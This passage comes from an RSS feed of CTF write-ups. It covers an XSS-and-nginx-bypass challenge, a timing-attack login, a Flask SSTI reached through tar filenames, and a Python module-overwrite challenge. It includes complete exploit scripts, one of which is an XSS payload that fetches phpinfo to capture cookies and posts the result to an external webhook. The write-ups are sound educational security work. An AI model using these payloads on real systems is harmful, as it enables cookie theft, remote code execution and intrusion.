&lt;li&gt;An info.php file which is definitely suspect and not normally needed but probably has a purpose in the challange&lt;/li&gt;
&lt;li&gt;And the ngix configuration file, which is very important because it is the one that prevents us from accessing info.php in a simple way.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;This challenge is very nice in my opinion, neither too difficult nor too complex, it mixes different vulnerabilities in a really nice way...&lt;/p&gt;
&lt;p&gt;The first one is designed to catch the cookie, because in the configuration of bot.js we see that the cookie is set to httpOnly, which makes the extraction much more difficult, but looking a little online we understand why it is present, that info.php in fact the function phpinfo() as well as showing several parameters of the php configuration and other information also shows the cookies present at that time... SO THAT&apos;S THE OBJECTIVE, to get your own bot to open /info.php.&lt;/p&gt;
&lt;p&gt;But how can we do this?&lt;/p&gt;
&lt;p&gt;The first step is to be able to inject a payload that opens info.php and sends the file somewhere.&lt;/p&gt;
&lt;p&gt;The only entry point we see is &lt;code&gt;? name=&apos;&lt;/code&gt;, which is not sanitised in the best way, in fact by doing &lt;code&gt;&amp;lt;h1&amp;gt;BTC&lt;/code&gt; (we make sure that the tag closes itself, otherwise the final / will be filtered out) we notice that the h1 is rendered and this is a first sign that we can do an xss, although we notice that the classic &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;ByteTheCookies&apos;)&lt;/code&gt; doesn&apos;t work, Probably some php configuration or some police, so the xss would be a bit more complex, but we can use the &lt;code&gt;onerror&lt;/code&gt; parameter of tag img with some modifications, in fact, if we insert a classic &lt;code&gt;&amp;lt;img src=&apos;invalid. jpg&apos; onerror=&quot;alert(&apos;ByteTheCookies&apos;)&quot;&lt;/code&gt;, it will be sanitised by removing the spaces and will not allow the xss to run. But we can work around this very easily, in fact by looking for some workarounds on HackTricks and trying some of them, we find that the payload &lt;code&gt;&amp;lt;img%0Csrc=&quot;invalid.jpg&quot;onerror=&quot;alert(&apos;ByteTheCookies&apos;)&quot;&lt;/code&gt; works.&lt;/p&gt;
&lt;p&gt;GOOD we managed to bypass the xss now we have to create the payload we need...&lt;/p&gt;
&lt;p&gt;Specifically, I used: &lt;code&gt;fetch(&apos;{target}&apos;).then(r=&amp;gt;r.text()).then(t=&amp;gt;{fetch(&apos;{url_webhook}&apos;,{method:&apos;POST&apos;,body:(f=new FormData(),f.append(&apos;file&apos;,new Blob([t],{type:&apos;text/plain&apos;}),&apos;phpinfo.txt&apos;),f)});console.log(&apos;Data sended&apos;);});&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;This payload makes an initial request and sends the content to a webhook in the form of a file, so it&apos;s all very simple.&lt;/p&gt;
&lt;p&gt;However, the problem is that when this payload is sent, it will not work because the URLs contain / which will be removed and this is a significant problem.&lt;/p&gt;
&lt;p&gt;However, to get around this we can use a very simple trick, we just need to encode the payload in base64 beforehand and use an &lt;code&gt;eval(atob(payload))&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;By sending this in the URL, we can make the payload work without any problems. DONE, RIGHT?&lt;/p&gt;
&lt;p&gt;No, because analysing the nginx configuration we notice an important detail&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;location = /info.php {
        allow 127.0.0.1;
        deny all;
        }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see, /info.php is only accessible from localhost, and spoiler, our bot is not on the same server as the challenge.&lt;/p&gt;
&lt;p&gt;This may seem like a big obstacle, but in reality, if we search the web for ngix workarounds, we can find something very &lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass#php-fpm&quot;&gt;interesting&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As we can see on Hacktricks, if we insert an accessible page immediately after a non-accessible page in the ngix URL, it will redirect us correctly to the non-accessible page, which is exactly what we need.&lt;/p&gt;
&lt;p&gt;So the final solution becomes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

import base64

url = &quot;http://idek-hello.chal.idek.team:1337/&quot;
url_webhook = &apos;https://webhook.site/8b10c871-1e0b-4050-8
2e3-e102a73da54e&apos;
url_admin = &apos;https://admin-bot.idek.team/idek-hello&apos;

def main():

    # Bypass hacktrics https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass#php-fpm
    target = &quot;http://idek-hello.chal.idek.team:1337/info.php/index.php&quot;

    exploit = (&quot;fetch(&apos;&quot; + target + &quot;&apos;).then(r=&amp;gt;r.text()).then(t=&amp;gt;{fetch(&apos;&quot;+url_webhook+&quot;&apos;,{method:&apos;POST&apos;,body:(f=new FormData(),f.append(&apos;file&apos;,new Blob([t],{type:&apos;text/plain&apos;}),&apos;phpinfo.txt&apos;),f)});console.log(&apos;Dati inviati al webhook&apos;);});&quot;).encode()

    main_payload = base64.b64encode(exploit).decode()

    payload = &quot;&quot;&quot;&amp;lt;img%0Csrc=&quot;invalid.jpg&quot;onerror=&quot;eval(atob(&apos;&quot;&quot;&quot; + main_payload + &quot;&quot;&quot;&apos;));&quot;&amp;gt;&quot;&quot;&quot; # Bypassed with %0C

    final_url_whith_exploit = f&quot;{url}?name={payload}&quot;

    print(f&quot;Final url: {final_url_whith_exploit}&quot;) # Send the url on the admin bot and download the file on webhook.site

    print(f&quot;Now copy and paste the url on the admin bot: {url_admin} and send the requeste to the admin bot, after this go to the webhook.site and download the file and search the flag in the file&quot;)

if __name__ == &apos;__main__&apos;:
  main()

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[idek{Ghazy_N3gm_Elbalad}]&lt;/p&gt;
</content:encoded></item><item><title>LitCTF2024 | Kirbytime</title><link>https://bytethecookies.org/posts/litctf2024-kirbytime/</link><guid isPermaLink="true">https://bytethecookies.org/posts/litctf2024-kirbytime/</guid><description>Welcome to Kirby&apos;s Website.</description><pubDate>Tue, 13 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;We find ourselves in front of a very pink Kirby-themed page, where we are asked to enter a password of 7 characters.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;# filename: main.py

import sqlite3
from flask import Flask, request, redirect, render_template
import time
app = Flask(__name__)


@app.route(&apos;/&apos;, methods=[&apos;GET&apos;, &apos;POST&apos;])
def login():
    message = None
    if request.method == &apos;POST&apos;:
        password = request.form[&apos;password&apos;]
        real = &apos;REDACTED&apos;
        if len(password) != 7:
            return render_template(&apos;login.html&apos;, message=&quot;you need 7 chars&quot;)
        for i in range(len(password)):
            if password[i] != real[i]:
                message = &quot;incorrect&quot;
                return render_template(&apos;login.html&apos;, message=message)
            else:
                time.sleep(1)
        if password == real:
            message = &quot;yayy! hi kirby&quot;

    return render_template(&apos;login.html&apos;, message=message)


if __name__ == &apos;__main__&apos;:
    app.run(host=&apos;0.0.0.0&apos;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As we can see in the code at the &apos;/&apos; endpoint, when the method and post, it takes the password value from the form, checks the length to be 7 and starts iterating over each character to check if it is correct, it triggers a time.sleep(1) otherwise it returns an error.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The solution is very simple, in fact we can compare it to a kind of time based, when the character is correct we know that the request will take n seconds to return depending on the number of correct characters. With this script we can easily find the flag, but only with a little patience (I recommend a cup of coffee in between).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

import string
import requests

url = &apos;redacted&apos;

alphabet = string.printable

length = 7

correct_flag = &apos;a&apos; * length
correct_letter = 0
flag_list = list(correct_flag)
number_of_second_to_wait = 7
while (correct_letter != length):
    for letter in alphabet:
        flag_list[correct_letter] = letter
        flag = &quot;&quot;.join(flag_list)
        print(flag)
        payload = {&quot;password&quot;: flag}
        r = requests.post(url=url, data=payload)
        assert r.status_code == 200
        print(&quot;Time: &quot;, r.elapsed.total_seconds())
        if r.elapsed.total_seconds() &amp;gt;= number_of_second_to_wait:
            correct_letter = correct_letter + 1
            number_of_second_to_wait += 1
            print(flag)
            break

print(&quot;Flag found: &quot;, &quot;LITCTF{&quot; + flag + &quot;}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[LITCTF{kBySlaY}]&lt;/p&gt;
</content:encoded></item><item><title>NoobzCTF2024 | File Sharing Portal</title><link>https://bytethecookies.org/posts/noobzctf2024-filesharingportal/</link><guid isPermaLink="true">https://bytethecookies.org/posts/noobzctf2024-filesharingportal/</guid><description>Welcome to the file sharing portal! We only support tar files!</description><pubDate>Tue, 06 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The ctf has a very simple structure: we have a form in which we are asked to insert a &lt;a href=&quot;https://en.wikipedia.org/wiki/Tar_(computing)&quot;&gt;tar&lt;/a&gt; file; once the tar file has been inserted, it is unzipped and we are shown the &lt;code&gt;name&lt;/code&gt; of files it contains; by clicking on the different files, we can read their contents.&lt;/p&gt;
&lt;h2&gt;Source&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;The source has comments added later to allow a better understanding of the code in the writeups&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: server.py

#!/usr/bin/env python3
from flask import Flask, request, redirect, render_template, render_template_string
import tarfile
from hashlib import sha256
import os
app = Flask(__name__)

@app.route(&apos;/&apos;,methods=[&apos;GET&apos;,&apos;POST&apos;])
def main():
    # This function mainly deals with loading the tar file into the server&apos;s file system.
    global username
    if request.method == &apos;GET&apos;:
        return render_template(&apos;index.html&apos;)
    elif request.method == &apos;POST&apos;:
        file = request.files[&apos;file&apos;]
        if file.filename[-4:] != &apos;.tar&apos;: # Check that the file passed is actually a tar file
            return render_template_string(&quot;&amp;lt;p&amp;gt; We only support tar files as of right now!&amp;lt;/p&amp;gt;&quot;) # Otherwise, it renders an error message
        name = sha256(os.urandom(16)).digest().hex() # Creates a random name that it will use to name our tar and the folder in the server&apos;s file system
        os.makedirs(f&quot;./uploads/{name}&quot;, exist_ok=True) # Create the directory
        file.save(f&quot;./uploads/{name}/{name}.tar&quot;) # Save the tar file
        try:
            # Extract the tar file
            tar_file = tarfile.TarFile(f&apos;./uploads/{name}/{name}.tar&apos;)
            tar_file.extractall(path=f&apos;./uploads/{name}/&apos;)
            return render_template_string(f&quot;&amp;lt;p&amp;gt;Tar file extracted! View &amp;lt;a href=&apos;/view/{name}&apos;&amp;gt;here&amp;lt;/a&amp;gt;&quot;)
        except:
            return render_template_string(&quot;&amp;lt;p&amp;gt;Failed to extract file!&amp;lt;/p&amp;gt;&quot;)

@app.route(&apos;/view/&amp;lt;name&amp;gt;&apos;)
def view(name):
    # This function displays the files contained in the .tar file
    if not all([i in &quot;abcdef1234567890&quot; for i in name]): # Check that the file name is in hexadecimal, to avoid any kind of malicious input 
        return render_template_string(&quot;&amp;lt;p&amp;gt;Error!&amp;lt;/p&amp;gt;&quot;)
        #print(os.popen(f&apos;ls ./uploads/{name}&apos;).read())
            #print(name)
    files = os.listdir(f&quot;./uploads/{name}&quot;) # List all files in the previously created folder 
    out = &apos;&amp;lt;h1&amp;gt;Files&amp;lt;/h1&amp;gt;&amp;lt;br&amp;gt;&apos;
    files.remove(f&apos;{name}.tar&apos;)  # Remove the tar file from the list
    for i in files:
        out += f&apos;&amp;lt;a href=&quot;/read/{name}/{i}&quot;&amp;gt;{i}&amp;lt;/a&amp;gt;&apos; # Show via templates all file names
       # except:
    return render_template_string(out) # Render the template with the render_template_string function

@app.route(&apos;/read/&amp;lt;name&amp;gt;/&amp;lt;file&amp;gt;&apos;)
def read(name,file):
    # The function shows the contents of the single file
    if (not all([i in &quot;abcdef1234567890&quot; for i in name])): # Check that the file name is in hexadecimal, to avoid any kind of malicious input 
        return render_template_string(&quot;&amp;lt;p&amp;gt;Error!&amp;lt;/p&amp;gt;&quot;)
    if ((&quot;..&quot; in name) or (&quot;..&quot; in file)) or ((&quot;/&quot; in file) or &quot;/&quot; in name):  # Other controls to avoid path er
        return render_template_string(&quot;&amp;lt;p&amp;gt;Error!&amp;lt;/p&amp;gt;&quot;)
    f = open(f&apos;./uploads/{name}/{file}&apos;) # Open the file
    data = f.read()
    f.close()
    return data # Return the content of file

if __name__ == &apos;__main__&apos;:
    app.run(host=&apos;0.0.0.0&apos;, port=1337)


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can therefore see that there are several parameter checks, and at first one might think that the code is &lt;code&gt;100%&lt;/code&gt; safe.&lt;/p&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;The first thing that came to mind was to create a &lt;a href=&quot;https://www.futurelearn.com/info/courses/linux-for-bioinformatics/0/steps/201767&quot;&gt;symbolic link&lt;/a&gt; to access the flag, and indeed this works (try with server.py), the problem is that the filename of the flag is unknown and this does not allow us to create a valid symbolic link.&lt;/p&gt;
&lt;p&gt;Once we realised this, we did a thorough analysis of the code and came to the conclusion that the only thing that was not being checked was the name of the unpacked tar file allowing us to insert anything. By combining this with the &apos;&lt;code&gt;render_template_string&lt;/code&gt;&apos; function (a vulnerable function of flask), it is possible to perform a &lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#what-is-ssti-server-side-template-injection&quot;&gt;template injection&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# filename: exploit.py

import requests
import os
import tarfile
from bs4 import BeautifulSoup

url = &apos;http://redacted.challs.n00bzunit3d.xyz:8080/&apos;


def create_tar(tar_name, file):
    with tarfile.open(tar_name, &apos;w&apos;) as tar:
        tar.add(file, arcname=os.path.basename(file))
    print(f&apos;Tar file created: {tar_name}&apos;)


def create_payload(payload):
    with open(payload, &apos;w&apos;) as f:
        f.write(&apos;Remember to byte the cookies&apos;)

    create_tar(&apos;exploit.tar&apos;, payload)
    print(f&apos;Payload created: {payload}&apos;)


def get_url_view(text):
    soup = BeautifulSoup(text, &apos;html5lib&apos;)
    return [a[&apos;href&apos;] for a in soup.find_all(&apos;a&apos;, href=True)][0]


def leak_subprocess_index():
    payload = &quot;{{int.__class__.__base__.__subclasses__()}}&quot;
    create_payload(payload)

    r = requests.post(url, files={&apos;file&apos;: open(&apos;exploit.tar&apos;, &apos;rb&apos;)})

    url_file = get_url_view(r.text)
    r = requests.get(url + url_file)
    text = r.text[r.text.index(&apos;[&apos;)+1:]

    list_classes = text.split(&apos;,&apos;)

    for i, c in enumerate(list_classes):
        if &apos;subprocess.Popen&apos; in c:
            print(f&apos;Index subprocess.Popen: {i}&apos;)
            return str(i)


def get_flag(index):
    payload = &quot;{{int.__class__.__base__.__subclasses__()[&quot; + \
        index + &quot;](&apos;cat *&apos;, shell=True, stdout=-1).communicate()}}&quot;
    create_payload(payload)

    r = requests.post(url, files={&apos;file&apos;: open(&apos;exploit.tar&apos;, &apos;rb&apos;)})

    url_file = get_url_view(r.text)
    r = requests.get(url + url_file)

    flag = r.text[r.text.index(&apos;n00bz{&apos;):r.text.index(&apos;}&apos;)+1]
    print(f&apos;Flag: {flag}&apos;)


def main():
    subprocess_index = leak_subprocess_index()
    get_flag(subprocess_index)


if __name__ == &apos;__main__&apos;:
    main()


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[n00bz{n3v3r_7rus71ng_t4r_4g41n!_b3506983087e}]&lt;/p&gt;
</content:encoded></item><item><title>NoobzCTF2024 | WaaS</title><link>https://bytethecookies.org/posts/noobzctf2024-waas/</link><guid isPermaLink="true">https://bytethecookies.org/posts/noobzctf2024-waas/</guid><description>Writing as a Service!</description><pubDate>Tue, 06 Aug 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;WaaS (Writing as a Service) allows us to overwrite a file on the system (after some input validation) and insert anything (until a newline is met) we want in it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import subprocess
from base64 import b64decode as d
while True:
        print(&quot;[1] Write to a file\n[2] Get the flag\n[3] Exit&quot;)
        try:
                inp = int(input(&quot;Choice: &quot;).strip())
        except:
                print(&quot;Invalid input!&quot;)
                exit(0)
        if inp == 1:
                file = input(&quot;Enter file name: &quot;).strip()
                assert file.count(&apos;.&apos;) &amp;lt;= 2 # Why do you need more?
                assert &quot;/proc&quot; not in file # Why do you need to write there?
                assert &quot;/bin&quot; not in file # Why do you need to write there?
                assert &quot;\n&quot; not in file # Why do you need these?
                assert &quot;chall&quot; not in file # Don&apos;t be overwriting my files!
                try:
                        f = open(file,&apos;w&apos;)
                except:
                        print(&quot;Error! Maybe the file does not exist?&quot;)

                f.write(input(&quot;Data: &quot;).strip())
                f.close()
                print(&quot;Data written sucessfully!&quot;)

        if inp == 2:
                flag = subprocess.run([&quot;cat&quot;,&quot;fake_flag.txt&quot;],capture_output=True) # You actually thought I would give the flag?
                print(flag.stdout.strip())
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Solution&lt;/h2&gt;
&lt;p&gt;At first one may think of trying to bypass the input validation to perhaps rewrite the workings of the cat command or the challenge file itself, but this isn&apos;t possible.
Something very bizarre is the imported but unused &lt;code&gt;b64decode&lt;/code&gt; from the &lt;code&gt;base64&lt;/code&gt; module, which is what allows us to solve the challenge.
When python imports modules it looks in &lt;code&gt;sys.path&lt;/code&gt;, which has a list of valid directories to import modules from. After a quick scan through the &lt;a href=&quot;https://docs.python.org/3/library/sys_path_init.html&quot;&gt;python3 docs&lt;/a&gt; we find out that the first directory it looks through is the same directory the file is in, this means that if we have a &lt;code&gt;base64.py&lt;/code&gt; file in the directory then python will try to import a &lt;code&gt;b64decode&lt;/code&gt; symbol from that file instead of the common known module.
One more feature of python&apos;s import behavior we can use is the that all the code in an imported module will be executed. For example if a file &lt;code&gt;test.py&lt;/code&gt; has &lt;code&gt;print(&apos;Hello, World!&apos;)&lt;/code&gt; and it can be executed (for example if it&apos;s at the lowest indentation level) then a file with &lt;code&gt;import test&lt;/code&gt; will indeed see &lt;code&gt;Hello, World!&lt;/code&gt; printed to &lt;code&gt;stdout&lt;/code&gt;.
Therefore, since the &lt;code&gt;open&lt;/code&gt; function with a &lt;code&gt;&apos;w&apos;&lt;/code&gt; flag will create a file if it does not exist, we can simply create a file named &lt;code&gt;base64.py&lt;/code&gt; and write our malicious code in it.
Something like this will do the trick:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import os; b64decode = 0; os.system(&quot;cat flag.txt&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But the flag isn&apos;t our yet; we need to use the fact that the instance does not reset its files every time we connect to it, which means that our &lt;code&gt;base64.py&lt;/code&gt; will remain in the directory for the lifetime of the instance. This means we simply need to reconnect to it and get our flag.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;solve.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

def solve():
  r = remote(&apos;challs.n00bzunit3d.xyz&apos;, 10478) # PORT depends on the instance

  r.sendlineafter(b&apos;Choice: &apos;, b&apos;1&apos;) # 1 to write a file
  r.sendlineafter(b&apos;Enter file name: &apos;, b&apos;base64.py&apos;)
  r.sendlineafter(b&apos;Data: &apos;, b&apos;import os; b64decode = 0; os.system(&quot;cat flag.txt&quot;)&apos;)

  r.close()

  r = remote(&apos;challs.n00bzunit3d.xyz&apos;, 10478) # PORT depends on the instance
  flag = r.recvline().decode()
  print(f&apos;flag: {flag}&apos;)
  r.close()

if __name__ == &apos;__main__&apos;:
  solve()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag: :spoiler[n00bz{0v3rwr1t1ng_py7h0n3_m0dul3s?!!!_f5c63f47af0e}]&lt;/p&gt;
</content:encoded></item></channel></rss>